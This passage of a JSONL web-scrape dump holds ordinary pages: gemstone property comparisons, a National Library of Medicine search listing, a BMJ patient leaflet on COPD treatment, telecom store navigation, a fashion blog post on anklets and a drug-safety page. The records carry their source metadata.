\u0627\u0644\u0628\u0627\u0626\u0639\n\u062a\u0648\u0627\u0635\u0644 \u0645\u0639 \u0627\u0644\u0628\u0627\u0626\u0639\nClose\n\u0627\u0633\u0645\u0643 : \u0628\u0631\u064a\u062f\u0643 \u0627\u0644\u0627\u0644\u0643\u062a\u0631\u0648\u0646\u064a : \u0627\u0644\u0639\u0646\u0648\u0627\u0646 : \u0637\u0644\u0628\u0643 :\n\u0631\u0627\u0628\u0637 \u0633\u0631\u064a\u0639\n\u0627\u0644\u062f\u0641\u0639 \u0627\u0644\u0633\u0631\u064a\u0639 / \u0625\u0639\u0627\u062f\u0629 \u0627\u0644\u0634\u062d\u0646\n\u062e\u062f\u0645\u0629 \u0627\u0644\u0645\u0634\u062a\u0631\u0643\u064a\u0646\n\u0625\u0633\u062a\u0645\u0627\u0631\u0629 \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u0634\u0631\u06a9\u0627\u0621\n\u0645\u0633\u0627\u0639\u062f\u0629\n\u062d\u0633\u0627\u0628\u064a\n\u062a\u0627\u0631\u064a\u062e \u0627\u0644\u0637\u0644\u0628\u0627\u062a\n\u0627\u0644\u0639\u0646\u0627\u0648\u064a\u0646\n\u0639\u0631\u0628\u0629 \u0627\u0644\u062a\u0633\u0648\u0642\n\u0645\u0644\u0641\u064a\n\u062a\u062a\u0628\u0639 \u0637\u0644\u0628\u0643\n\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0627\u0644\u0634\u0631\u0643\u0629\n\u0627\u0644\u0634\u0631\u0648\u0637 \u0648\u0627\u0644\u0623\u062d\u0643\u0627\u0645\n\u062d\u0645\u0644 \u062a\u0637\u0628\u064a\u0642 \u0622\u0633\u064a\u0627\u0633\u064a\u0644\n\u062d\u0648\u0644 \u0622\u0633\u064a\u0627\u0633\u064a\u0644\n\u0627\u0644\u0623\u0633\u0626\u0644\u0629 \u0627\u0644\u0634\u0627\u0626\u0639\u0629\n\u0627\u0644\u0633\u064a\u0627\u0633\u0629 \u0648\u0627\u0644\u0636\u0645\u0627\u0646\n\u062d\u0645\u0644 \u062a\u0637\u0628\u064a\u0642 \u0622\u0633\u064a\u0627\u0633\u064a\u0644\n\u062c\u0645\u064a\u0639 \u062d\u0642\u0648\u0642 \u0627\u0644\u0646\u0634\u0631 \u0645\u062d\u0641\u0648\u0638\u0629 \u0644\u0622\u0633\u06cc\u0627\u0633\n\u0627\u0644\u062a\u0648\u0627\u0635\u0644 \u0645\u0639\u0646\u0627 \u0639\u0644\u0649", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/9e8622d0-0588-45b7-9032-8294df18ba18", "content_hash": "bc26d13a3adca7a5919e439a88e7bcb9cf4ef1c9a6d53be9476954c30a354343", "created_at": "2026-03-28T05:10:40.354240185Z"} +{"id": "535766dc-1a6b-440e-8d85-f7e59e02bc8f", "source": "brain", "text": "Optical Properties of dendritic agate | Luster\n\nOptical Properties of dendritic agate | Luster\n\u00d7\ndendritic agate\n\u2612\nTop\nADD \u2295\nCompare\nGemstones\nGems for Taurus\nGems for Gemini\nGems for Leo\nOrganic\nGems for Aries\nGems for Cancer\nGems for Libra\nGems for Capricorn\n\u2315\n\u25bc\nOptical Properties of dendritic agate\ndendritic agate\nAdd \u2295\nSummary\nAstrology\nPhysical Properties\nOptical Properties\nBenefits\nAll\nOptical Properties\nLuster\n-\nPleochroism\n-\nDispersion\n0.01\nRank: 60 (Overall)\n0.005 1\n\ud83d\udc46\ud83c\udffb\nTransparency\nTranslucentWalter Schumann\nRefractive Index\n-9999\n1 3.25\n\ud83d\udc46\ud83c\udffb\nOptic Character\n-\nCrystal System\n-\nBirefringence\n-9999\n0 0.296\n\ud83d\udc46\ud83c\udffb\nClarity\nTranslucentWalter Schumann\ndendritic agate Luster\nOptical Properties of dendritic agate are its behavioral responses towards light. While few optical properties can be identified with naked eyes, other require special instruments by the gemologists to identify them. dendritic agate optical properties like luster, clarity, refractive index etc. are used to determine the non-destructive methods during gemstone identification and evaluation.\ndendritic agate luster is the quantity of light the crystal reflects when light is incident on it. dendritic agate which is commonly found in White, Colorless, Blue, Red, Green, Yellow, Violet color, is TranslucentWalter Schumann in nature.\nBlue Gemstones\nGrossular Garnet\nAndradite Garnet\nIndicolite\nOrbicular jasper\nPlasma\nBlue spinel\ndendritic agate Refractive Index\nOptical properties of a dendritic agate crystal are responsive to the small changes in composition and strain within its crystalline structure. Absolute diligence is therefore necessary during cutting and polishing of the gemstone. All such optical properties are majorly influenced by Physical Properties of dendritic agate.\nAs we are well aware, refractive index is the phenomenon which is related to bending of light through a medium (crystal). It is used in qualitative analysis of gemstones by gemologists Besides, few gemstones exhibit property of dual refractive indices. This dual nature is known as Birefringence. So if you are searching for prominent Blue Gemstones, dendritic agate gem is something not miss on, since it has been a favorite pick in the gem wearing community.\nCompare Blue Gemstones\nGrossular Garnet Vs Plasma\nGrossular Garnet Vs Blue spinel\nGrossular Garnet Vs Trapiche emerald\nTrapiche emerald\nAstrology | Physical ... | Optical P... | Benefits\nLemon quartz\nAstrology | Physical ... | Optical P... | Benefits\nRutilated topaz\nAstrology | Physical ... | Optical P... | Benefits\nAndradite Garnet Vs Grossular...\nAstrology | Physical ... | Optical P... | Benefits\nIndicolite Vs Grossular Garnet\nAstrology | Physical ... | Optical P... | Benefits\nOrbicular jasper Vs Grossular...\nAstrology | Physical ... | Optical P... | Benefits\nHome |\nAbout |\nContact |\nDisclaimer |\nTerms of Use |\nPrivacy Policy\n\u00a9 2015 - 2026 www.compareusvista.com\nDeveloped & Maintained by softUsvista Inc.", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/535766dc-1a6b-440e-8d85-f7e59e02bc8f", "content_hash": "aa221d24ebfb81e95f5134962c821d5904679f101650046ec2207cbb1401f0df", "created_at": "2026-03-28T05:10:40.314424449Z"} +{"id": "f840330a-047b-4eb8-8051-b379b0e5b2ee", "source": "brain", "text": "Subjects: Cerebral Cortex -- pathology - Digital Collections - National Library of Medicine Search Results\n\nSubjects: Cerebral Cortex -- pathology - Digital Collections - National Library of Medicine Search Results\nSkip to search Skip to main content Skip to first result\nAn official website of the United States government. Here\u2019s how you know\nOfficial websites use .gov\nA .gov website belongs to an official government organization in the United States.\nSecure .gov websites use HTTPS\nA lock ( Lock\nA locked padlock ) or https:// means you\u2019ve safely connected to the .gov website. Share sensitive information only on official, secure websites.\nsearch for\nSearch\nAbout\nHelp\nWeb Service\nSearch\nSearch Constraints\nStart Over You searched for: Subjects Cerebral Cortex -- pathology \u2716 Remove constraint Subjects: Cerebral Cortex -- pathology\n1 - 4 of 4\nSort by title\nrelevance title\nNumber of results to display per page\n10 per page per page\n10 per page 20 per page 50 per page 100 per page\nSearch Results\n1. Cases illustrating cortical paralysis with loss of speech\nAuthor(s):\nGreenlees, T. Duncan (Thomas Duncan), 1858- author\nPublication:\n[Utica, N.Y.?] : [publisher not identified], [1887?]\nSubject(s):\nCerebral Cortex -- pathology\nParesis\nAphasia\n2. On arrested cerebral development with special reference to its cortical pathology\nAuthor(s):\nSachs, Bernard, 1858-1944\nPublication:\nNew York : [s.n.], 1887\nSubject(s):\nBrain -- abnormalities\nCerebral Cortex -- pathology\nInfant\n3. Some minor studies in nerve cell degeneration as presented by a case of localized cerebral atrophy\nAuthor(s):\nProut, Thomas P., author\nPublication:\n[Baltimore?] : [publisher not identified], [1895?]\nSubject(s):\nCerebral Cortex -- pathology\nAtrophy\nNerve Degeneration\n4. Studies on the lesions produced by the action of certain poisons on the nerve cell. Part II, Experimental lesions produced by the action of dog's serum on the cortical nerve-cell of the rabbit's brain : preliminary paper\nAuthor(s):\nBerkley, Henry J. (Henry Johns), 1860-1940 author\nPublication:\nPhiladelphia : Lea Brothers & Co., [1895?]\nSubject(s):\nNeurons -- pathology\nCerebral Cortex -- pathology\nSerum\nRefine by:\nShow facets Hide facets\nFormats\nText4\nCollections\nMedicine in the Americas, 1610-19204\nSubjects\nCerebral Cortex -- pathology\u2716[remove]4\nAphasia1\nAtrophy1\nBrain -- abnormalities1\nInfant1\nmore Subjects \u00bb\nAuthors\nBerkley, Henry J. (Henry Johns), 1860-1940 author1\nGreenlees, T. Duncan (Thomas Duncan), 1858- author1\nProut, Thomas P., author1\nSachs, Bernard, 1858-19441\nTitles\nCases illustrating cortical paralysis with loss of speech1\nOn arrested cerebral development with special reference to its cortical pathology1\nSome minor studies in nerve cell degeneration as presented by a case of localized cerebral atrophy1\nStudies on the lesions produced by the action of certain poisons on the nerve cell. Part II, Experimental lesions produced by the action of dog's serum on the cortical nerve-cell of the rabbit's brain : preliminary paper1\nLanguages\nEnglish4\nGenre\nCase Reports3\nCopyright\nPublic domain4\nDates by Range\n1850-18994\nPublication Year\nBegin\nEnd\n1000 to 10990\n1100 to 11990\n1200 to 12990\n1300 to 13990\n1400 to 14990\n1500 to 15990\n1600 to 16990\n1700 to 17990\n1800 to 18994\n1900 to 19990\n2000 to 20260\nConnect with NLM\nNational Library of Medicine\n8600 Rockville Pike\nBethesda, MD 20894\nWeb Policies\nFOIA\nHHS Vulnerability Disclosure\nNLM Support Center\nAccessibility\nCareers\nNLM | NIH | HHS | USA.gov", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/f840330a-047b-4eb8-8051-b379b0e5b2ee", "content_hash": "7e92d349673fd62ab53d12b4bc33b1450b6257a85639a8cb6cf37a6a35735ca6", "created_at": "2026-03-28T05:10:40.309023903Z"} +{"id": "fbbc060b-af22-444e-9b33-f9fcd2fd224f", "source": "brain", "text": "\u0425\u041e\u0411\u041b: \u043a\u0430\u043a\u0438\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u043b\u0435\u0447\u0435\u043d\u0438\u044f \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b?- Patient Information | BMJ Best Practice\n\n\u0425\u041e\u0411\u041b: \u043a\u0430\u043a\u0438\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u043b\u0435\u0447\u0435\u043d\u0438\u044f \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b?- Patient Information | BMJ Best Practice\nSkip to main contentSkip to search\nEnglish (US)EnglishPortugu\u00eas\nLog in\nPersonal account\nAccess through your institution(Open Athens)\nSubscribe\nAccess through your institution\nLog in\nEnglish (US)EnglishPortugu\u00eas\nHome\nSearch\n\ue8b6Search\nHome\nAbout us\nOverviewWhat is BMJ Best Practice?Our history\nKey featuresClinical tools Local guidanceEarn CME/CPD pointsAccess anywhereOur appIntegration\nOur Evidence approachTrusted contentUpdating process\nWho we help\nBest Practice for...CliniciansHospitalsMedical librariansMedical schoolsMedical studentsNursesPharmacistsPrimary careParamedicsTelehealth\nHow we help\nImpact and effectivenessEvidence of effectiveness Global impactCustomer stories\nBrowse clinical content\nRecent updates\nSpecialties\nTry a free topic\nPatient information\nVideos\nCalculators\nWhat\u2019s new\nClinical updates\nNews\nPodcast\nAccess\nLog in via...Personal subscription or user profileAccess through your institution\nAccess code\nSubscribe\nFree trial\nHow do I get access?\nDownload the app\nHelp\nFAQs\nHow do I get access?\nContact us\n\ue317Patient information\nPatient information from BMJ\nPrintDownload PDF\n\u0425\u041e\u0411\u041b: \u043a\u0430\u043a\u0438\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u043b\u0435\u0447\u0435\u043d\u0438\u044f \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b?\nLast published:Dec 06, 2021\nCOPD stands for chronic obstructive pulmonary disease. It means that lung damage is stopping your lungs working as well as they used to. There is no cure but there are treatments that can help stop it getting worse.\nYou can use our information to talk to your doctor and decide which treatments are right for you.\nWhat treatments work?\nIf you have COPD the airways in your lungs have been damaged over many years. This damage is usually caused by smoking. But other things can cause COPD, including:\nbreathing in other poisonous chemicals (possibly through long exposure to severe air pollution), and\nsome inherited genetic conditions.\nThe aims of treatment for COPD are:\nto prevent and control symptoms\nto reduce the number of exacerbations (this is when your symptoms suddenly get worse) you have and to make them less severe.\nto help your lungs to work better, and\nto help you live a longer and healthier life.\nYour treatment should include regular appointments with your doctor to check on your progress. Your doctor should make sure that you understand:\nwhat COPD is, and\nhow to recognise an exacerbation.\nStopping smoking\nThese days, the main cause of COPD is smoking. Stopping smoking can:\nslow down the damage COPD does to your lungs\nreduce your chance of cancer and heart problems related to COPD\nhelp you live longer with a better quality of life.\nOf course, stopping smoking is not easy, especially if you have smoked for many years. So your doctor may recommend a stop-smoking programme to help you stop. This may include counselling, group meetings, and medication.\nFor more information on ways to help you stop smoking, see our leaflet Stopping smoking.\nStaying healthy\nYour doctor might discuss self-management with you. This doesn't mean that you have to take care of yourself, without medical care. It means that you are helped to learn about COPD so that you can help control it.\nPeople who learn to self-manage their COPD tend to need less hospital treatment.\nSelf-management plans that you discuss with your doctor should include learning about:\nmanaging breathlessness\nmanaging stress\nconserving energy\navoiding things that make your symptoms worse\nthe right types of exercise for people with COPD (and specifically for you), and\ncontact information to use if you have an exacerbation.\nSome people are able to take part in a lung-care programme. They're usually called pulmonary rehabilitation programmes).\nThese programmes are usually organised in hospitals. You'll learn about how your lungs work and how to do exercises that make them stronger. You'll need to keep doing these exercises at home, after your programme finishes.\nYou'll also learn about your medicines and the best way to take them. Ask your doctor if there\u2019s a local programme near you.\nTaking part in a programme can:\nreduce your chance of needing hospital treatment\nreduce the depression and anxiety that sometimes go along with COPD\nreduce fatigue\nincrease how much you are able to exercise\nhelp improve your quality of life: for example, by helping you feel more in control of your life and your illness.\nRegular exercise can help you stay healthy. Even gentle exercise, such as walking, can help you get fitter and do more of the things you enjoy. Everyone with COPD should try to do as much exercise as they can to keep their lungs as fit as possible.\nIt's also important to get your flu and pneumonia jabs (vaccinations). If you have COPD, getting flu or pneumonia can be very serious. Talk to your doctor and make sure you get protected. You need a new flu jab every year.\nMedicines you breathe in\nMany types of medicine are used to treat people with COPD, depending on what works best for each person. Here, we look at the main ones.\nThe first treatment you get for COPD will probably be an inhaler, just as you would use if you had asthma. Breathing in medicine through an inhaler helps to open up the airways in your lungs and make breathing easier.\nThere are several kinds of inhaler, so if you find yours hard to use, talk to your doctor. He or she will be able to suggest a different type.\nSeveral types of medication can help relieve the symptoms of COPD when inhaled.\nBronchodilators are drugs that help to open up the airwaves by relaxing the muscles around the lungs. There are different kinds: some work quickly to give you fast relief from symptoms and others have a more long-term effect.\nYou may hear your doctor refer to these as short-acting and long-acting drugs. Bronchodilators that you might be prescribed include:\ndrugs called beta agonists. These drugs help relax the muscles in the lungs. There are short-acting and long-acting versions.\nanticholinergic drugs. These help relax the muscles in the lungs in a slightly different way from bronchodilators. They also come in short- and long-acting versions.\nOther drugs are available if the main ones don't work well enough, but they are less commonly used.\nBronchodilators can cause side effects in some people. For example, bronchodilators called beta-2 agonists may make your hands tremble, or they may make your heart beat faster, especially if you already have a heart problem.\nTaking a beta-2 agonist for a long time slightly raises your chance of heart problems, so your doctor should monitor you regularly.\nIf you've already tried short-acting and long-acting inhalers and you still get symptoms, your doctor may suggest you use a steroid inhaler (the full name is corticosteroid). You use this along with a bronchodilator. You may be able to use a single inhaler that contains both drugs.\nCorticosteroids help open your airways by reducing inflammation in the lungs. They can help reduce exacerbations and may even help you live longer.\nBut they are only recommended for people with advanced COPD who have frequent exacerbations. This is because corticosteroids can cause serious side effects.\nThe most common side effect is a fungal infection (thrush) in the mouth or throat. It can usually be avoided by gargling with water after each puff. Other possible side effects include weakened bones and easy bruising, but these are more common with steroid tablets than with the inhaled versions.\nCorticosteroids can also increase your chances of getting pneumonia. So your doctor will be cautious about prescribing them if he or she thinks you are at high risk of pneumonia.\nDoctors use what's called a 'stepwise' approach for COPD medications. This means that you start on the lowest possible dose of medicine that's suitable for the severity of your symptoms. Your doctor can then increase or reduce the dose or number of drugs you use, depending on what helps you most.\nFor your first 'step' you'll probably use a fast-acting inhaler. You can use this for quick relief when you get", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/fbbc060b-af22-444e-9b33-f9fcd2fd224f", "content_hash": "c672b26d8550f2af04119302b847034879ebaa76b316848f3499109c7ad70f23", "created_at": "2026-03-28T05:10:40.166260151Z"} +{"id": "2f6463b4-e37a-4437-bd7f-f5f316a8147d", "source": "brain", "text": "Asiacell Products - Mobiles & Tablets - iTunes - Black Titanium\n\nAsiacell Products - Mobiles & Tablets - iTunes - Black Titanium\nThe store will not work correctly in the case when cookies are disabled.\nJavaScript seems to be disabled in your browser. For the best experience on our site, be sure to turn on Javascript in your browser.\n\u0639\u0631\u0628\u0649\n\u06a9\u0648\u0631\u062f\u06cc\nBack To Asiacell\nAuto Login\nAbout Asiacell Support\nPartner Registration Form\nCompare Products\nFAQ\nReturn & Exchange Policy\nToggle Nav\nMenu\nMy Cart\nAuto Login\nLanguage\n\u0639\u0631\u0628\u0649\n\u06a9\u0648\u0631\u062f\u06cc\nPartner Registration Form\nCompare Products\nFAQ\nReturn & Exchange Policy\nAsiamall\nMobile\nDigital Vouchers\nComputer\nGaming\nElectronic\nAccessories\nHome Appliances\nAsiacell Products\nAccount\nLOG IN\nMy Cart\nSearch\nSearch\nSearch\nHome\nAsiamall\nAsiacell Products\nAsiacell Products\nAsiacell Products\nSpecial Offer\nMobiles & Tablets\nDigital Vouchers\nAccessories\nAir & Travel\nSmartwatches\nSmart Security\nLaptops & PC\nGaming\nHome Appliances\nWatches\nAll Phones\nEufy\nXiaomi\nHonor\nShop By\nClear All\nBuy Electronics, devices & More | Asia Mall by Asiacell \u2013 Iraq's Online Shopping\nAccess to Partner Services\nYou're now being re-directed to access services provided by our trusted partner. Please note that all service delivery, support, and terms are managed by the partner. We encourage you to review their terms and conditions. Click Continue to proceed.\nWe can't find products matching the selection. Please click here to reset filter\nFilters\nAll Devices\nNow Shopping by\nCategory Mobiles & Tablets Remove This Item\nVoucher Sub-category iTunes Remove This Item\nColor Black Titanium Remove This Item\nClear All\nShopping Options\nQuick Link\nQuick pay/Recharge\nPartner Registration Form\nCustomer Service\nHelp\nMy Account\nOrder History\nAddresses\nShopping Cart\nMy Profile\nTrack your order\nCorporate Info\nTerms & Conditions\nDownload the Asiacell App\nAbout Asiacell\nFAQ\nPolicy & Warranty\nDownload the Asiacell App\n\u00a9 Asiacell 2023 to 2025. All rights reserved.\nConnect with us on", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/2f6463b4-e37a-4437-bd7f-f5f316a8147d", "content_hash": "21d75f67e31b6cece8e471ae46326375c09e76f632df953f48c82d1be04d9897", "created_at": "2026-03-28T05:10:40.075344132Z"} +{"id": "8c17efee-ac86-4ad9-98f1-82cba3b2437a", "source": "brain", "text": "Kyanite and Hessonite Garnet Physical Properties\n\nKyanite and Hessonite Garnet Physical Properties\n\u00d7\nKyanite\n\u2612\nHessonite Garnet\n\u2612\nTop\nADD \u2295\nCompare\nGemstones\nGems for Taurus\nGems for Gemini\nGems for Leo\nOrganic\nGems for Aries\nGems for Cancer\nGems for Libra\nGems for Capricorn\n\u2315\n\u25bc\nX\nKyanite\nX\nHessonite Garnet\nKyanite and Hessonite Garnet Physical Properties\nKyanite\nHessonite Garnet\nAdd \u2295\nSummary\nAstrology\nPhysical Properties\nOptical Properties\nBenefits\nAll\nPhysical Properties\nTenacity\nBrittle\n-\nSolubility\n-\n-\nDurability\n-\n-\nSpecific Gravity\n3.53-3.65-9999\n1 7.18\n\ud83d\udc46\ud83c\udffb\nFracture\nSplintery\n-\nCleavage\n[100] perfect [010] imperfect with 79\u00b0 angle between\nNone\nMohs Hardness\n4-7-9999\n2 10\n\ud83d\udc46\ud83c\udffb\nChemical Composition\nAl2SiO5\nCa3Al2(SiO4)3\nKyanite and Hessonite Garnet Chemical Formula\nWhile comparing Kyanite and Hessonite Garnet physical properties, the important data you should know is its chemical composition. Since chemical formula defines the molecular structure of the crystal, most of the physical properties like color, tenacity, solubility are governed by Kyanite and Hessonite Garnet chemical formula.\nChemical formula of Kyanite- Al2SiO5\nChemical formula of Hessonite Garnet- Ca3Al2(SiO4)3\nCompare Gems for Aries \u00bb More\nKyanite Vs Jade\nKyanite Vs Hematite\nKyanite Vs Garnet\n\u00bb More Compare Gems for Aries\nKyanite and Hessonite Garnet Specific Gravity\nAnother important criteria for qualitative analysis of gemstones is Kyanite and Hessonite Garnet Specific gravity. Specific gravity is the relative density of a gemstone compared with respect to density of water. Gemologists use Kyanite and Hessonite Garnet Optical Properties during the identification of gemstone. Specific gravity of Kyanite is whereas that of Hessonite Garnet is .\nGems for Aries \u00bb More\nApache Tear\nBixbite\nBloodstone\nJasper\nJade\nHematite\n\u00bb More Gems for Aries\nGems for Aries \u00bb More\nGarnet\nAstrology | Physical ... | Optical P... | Benefits\nEmerald\nAstrology | Physical ... | Optical P... | Benefits\nAventurine\nAstrology | Physical ... | Optical P... | Benefits\nCompare Gems for Aries \u00bb More\nHessonite Garnet Vs Bixbite\nAstrology | Physical ... | Optical P... | Benefits\nHessonite Garnet Vs Bloodstone\nAstrology | Physical ... | Optical P... | Benefits\nHessonite Garnet Vs Jasper\nAstrology | Physical ... | Optical P... | Benefits\nHome |\nAbout |\nContact |\nDisclaimer |\nTerms of Use |\nPrivacy Policy\n\u00a9 2015 - 2026 www.compareusvista.com\nDeveloped & Maintained by softUsvista Inc.", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/8c17efee-ac86-4ad9-98f1-82cba3b2437a", "content_hash": "203e699d30d7c16238603191a4a1352463e19da576ab13a1ec98398d25af4dc8", "created_at": "2026-03-28T05:10:40.051009326Z"} +{"id": "2bd3a17b-88d8-4f17-92f1-2cb9884a2b40", "source": "brain", "text": "Jewellery for your feet - Silver Ethnic Anklets | Stylish By Nature By Shalini Chopra | India Fashion Style Blog | Beauty | Travel | Food | Bollywood\n\nJewellery for your feet - Silver Ethnic Anklets | Stylish By Nature By Shalini Chopra | India Fashion Style Blog | Beauty | Travel | Food | Bollywood\nHome\nAbout\nContact\nAwards\nHome\nFashion\nFood N Wine\nTravel\nBeauty\nLifestyle\nBollywood\nEvents\nTechnology\nMy Lookbook\nLookbook 19-20\nLookbook 2018\nLookbook 2017\nLookbook 2016\nLookbook 2015\nLookbook 2014\nLookbook 2013\nShop My Closet\nSBN Club\n#Trend\nLoading...\nHome / 2013 maxi dresses / Accessories trend 2013 / best fashion blog india / casual street style for women in india / contest or sweepstakes / online shopping site / Jewellery for your feet - Silver Ethnic Anklets\nJewellery for your feet - Silver Ethnic Anklets\n2013 maxi dresses , Accessories trend 2013 , best fashion blog india , casual street style for women in india , contest or sweepstakes , online shopping site\nHi Everyone,\nThe essential jewellery for your feet: Silver Anklets\nAnklets have an extensive and huge demand in the world. With passage of time, women from many civilizations used ankle bracelets to form a sexy look, show their affluence, indicate marital status, draw a suitor, and draw the attention to their pretty, well groomed, feet. Certainly, the use of anklets may have been the precursor to the contemporary pedicure, painted toenails, and high heels.\nFrom the very old Sumerians in Mesopotamia over 4000 years ago came the initial proof of the use of ankle bracelets.\nIn Ancient Egypt, both the wealthy and deprived wore anklets. The wealthy wore anklets ornamented with precious stones and made from high-priced metals, while the poor used them to exhibit charms and amulets. In the earlier period, all through the Middle East, the anklets were frequently associated by a stretch of chain to make a shorter, feminine step.\nThe ankle bracelet originally became admired in the United States in the 1950's, and saw a resurgence in esteem in the 1970's as women began wearing bracelets with their name or initials on them.\nIn adding up to their use in the twenty-first century amid the fashionable, ankle bracelets have also taken on a useful turn for some. Police and the judicial system have turned to anklets in order to check the activities of the criminal, the rehabilitated, and those in need of rehabilitation. Modern ankle bracelets can offer a GPS location of their wearer to the judicial system or a parole officer, permitting better monitoring of their activities.\nBut the richest account of anklets may have developed in India. Anklets were an imperative tradition used to sign marital status and still are an essential part of ceremonial wedding garments.\nBut marriage and relationship standing weren't the only things which anklets were used for in history. Indian women also attached anklets with bells during dances to produce a striking jingle to go with their movements. The use of ankle bracelets as an ornament to a dance costume was also seen among belly dancers in the Middle East, who generally wore elaborate jewellery along with their outfits.\nAnklets have been in use since ages and the delicate attractiveness of a woman's anklets get multiplied when decorated with a pair of exclusively designed anklets, ideal piece of art. They can effortlessly gel well with both recognized and informal wears and has become a quite fashion rage amongst all age groups, particularly the teenage group.\nConventionally in use, anklets have even taken up the contemporary fashion world with a storm and they are being worn by both adolescent and unmarried women in India.\nThe anklets come with adoring accompaniments, intricate carvings and other fine artistry effortlessly done on metal. Previously the anklets were made of silver or brass but their attractiveness has made the manufacturers try out other metals and experiment with conventional and modern designs.\nSilver anklets with semi precious stones like garnets, topaz, Amethyst, aqua marine and others are a fashionable way of adorning your legs and adding colour to your outfit in the summers.\nTill next time....Keep it STYLISH By Nature !!\nJoin Me on\nFACEBOOK | TWITTER | BLOGLOVIN\nShare on Facebook Share on Twitter Share on Google Plus\nRELATED POSTS >>>\nRELATED POSTS\nBlogger Comment\nFacebook Comment\nNewer Post Older Post Home\nFeatured Video\nIIFA New York - Vlog\nPopular Posts\nStyling Tips for Cocktail Party Dresses\nHi Everyone, Backless Maxi Cocktail Dress - 6ks Peep-Toe Heels - OASAP (available in 2 colors) Sapphire and Spikes Bracelet - You...\nFeatured Blog of the Week - Look10\nHi Everyone, Thrilled to share that 'Stylish By Nature' is featured as the 'Blog of the Week' at Look10. ...\nCOACH STORE IN UB City BANGALORE\nHi Everyone, COACH OPENS NEW STORE IN UB City, BANGALORE Coach, a global design house of modern luxury leather goods, apparel and...\nFashion Trend Pastels and Neons 2013\nHi Everyone,\nChristmas New Year 2012 Sequin heels dress party\nHi Everyone,\nReady for the SPRING !!\nHello Everyone, Spring/Summer 2012 is in wings and all we fashionistas are already shopping to ready our wardrobe for the upcoming seaso...\nFashion Trend: Jumpsuits this Summer\nHi Everyone,\nTwitter\nTweets by \n\u00a9 StylishByNature 2011-2014. Powered by Blogger.\nCopyright \u00a9 2014 Stylish By Nature By Shalini Chopra | India Fashion Style Blog | Beauty | Travel | Food | Bollywood", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/2bd3a17b-88d8-4f17-92f1-2cb9884a2b40", "content_hash": "c711144bc21673504d2afaee058b187eb82539776f2895545d18bc6377742163", "created_at": "2026-03-28T05:10:40.045132669Z"} +{"id": "421e9906-6a3d-4e02-b8d9-334be94b0b51", "source": "brain", "text": "Lisdexamfetamine - AdisInsight\n\nLisdexamfetamine - AdisInsight\nEither you have JavaScript disabled or your browser does not support Javascript . To work properly, this page requires JavaScript to be enabled.\nHow to enable JavaScript in your browser?\nSkip to main content\nWelcome to AdisInsight\nRegister your email address to show your organization how much you value your AdisInsight subscription.\nWith your consent we\u2019ll provide this information to your organization\u2019s account administrator to aid in the renewal decision and we will send you important updates about AdisInsight.\nPlease refer to our privacy policy for information on how we protect your personal information.\nEnter e-mail address here Enter valid e-mail address\nYou will receive an email to validate your email address. You will see this pop-up again if your browser cookies are cleared on your computer.\nProvide Consent\nDecline Consent\nWelcome to AdisInsight\nClose\nVerification link has been sent to the e-mail address entered below. Click on that link to proceed.\nChange email ID\nResend link\nX\nAsk the expert\nDo you need help? Please contact one of our AdisInsight experts. We aim to get back to you with personalized answer within 24 hours.\nFull name *\nEmail address *\nQuestion / Comment *\nSubmit\nThank you\nOur team would reach out to you shortly in response for your query.\nReturn to homepage\nLogin\nUsername/Password\nInstitution access\nInsight Hub New\nAPIs\nContact Us\nHelp\nRequest demo\nInsight Hub New\nAPIs\nContact Us\nHelp\nLogin\nUsername/Password Institution access\nRequest demo\nSearch filter dropdown Select a filter\nDrug Name\nIndication\nMechanism\nDrug Class\nAdverse Event\nAll Text\nSearch Cancel Search\nDrug Safety : ADR Category 1\nLisdexamfetamine\nParalytic ileus: case report\nSerious\nAn event is determined to be serious (based on the ICH definition) when the patient outcome is:\ndeath\nlife-threatening\nhospitalisation\ndisability\ncongenital anomaly\nother medically important event\nRelease Date: 22 Apr 2025 Update Date: 22 Apr 2025\nPrice :\n$20 *\nBuy Profile\nNote:\nAdis is an information provider.\nFinal gross price and currency may vary according to local VAT and billing address.\nYour purchase entitles you to full access to the information contained in our drug safety profile at the time of purchase.\nA link to download a PDF version of the drug safety profile will be included in your email receipt.\nYou need to be a logged in or subscribed to view this content\nRequest demo (opens in a new window)\nIf your organization or you do not have a subscription, try one of the following:\nContacting your organization\u2019s admin about adding this content to your AdisInsight subscription\nBuying a PDF version of any individual profile\nRequest a free trial (opens in a new window)\nIf your organization has a subscription, there are several access options, even while working remotely:\nWorking within your organization\u2019s network\nLogin with username/password or try to access via your institution\nPersisted access using your organization\u2019s identifier stored in your user browser for 90 days\nFor assistance, contact us at \nScientifically curated records\nAbout our content\nDrugs\nTrials\nSafety Reports\nDeals\nPatents\nInsight Hub\nAPIs\nDashboards\nOther sites\nSpringer.com\nSpringerLink\nSpringer for R&D\nSpringerProtocols\nSpringerMaterials\nSpringerReference\nHelp & Contacts\nContact us\nHelp\nDownloads\nBizInt setup(windows only)\nLegal\nPrivacy policy, disclaimer, general terms & conditions\nTerms of Use\nYour US state privacy rights\nCookie policy\nYour privacy choices/Manage cookies\nAdis International Ltd. Part of Springer Science+Business Media\n\u00a9 Springer Nature Switzerland AG\n\u00a9 2026 Springer Nature Switzerland AG, Part of Springer Nature\nBack to top", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/421e9906-6a3d-4e02-b8d9-334be94b0b51", "content_hash": "ac2f2aa87e390a2f9aaa1a5e6abbccaa90b6d9bd48e25adc826e4c474318a37b", "created_at": "2026-03-28T05:10:39.953640549Z"} +{"id": "8c0d00ba-ec10-4205-bb8b-7fa6176878ec", "source": "brain", "text": "ten_crop \u2014 Torchvision 0.25 documentation\n\nten_crop \u2014 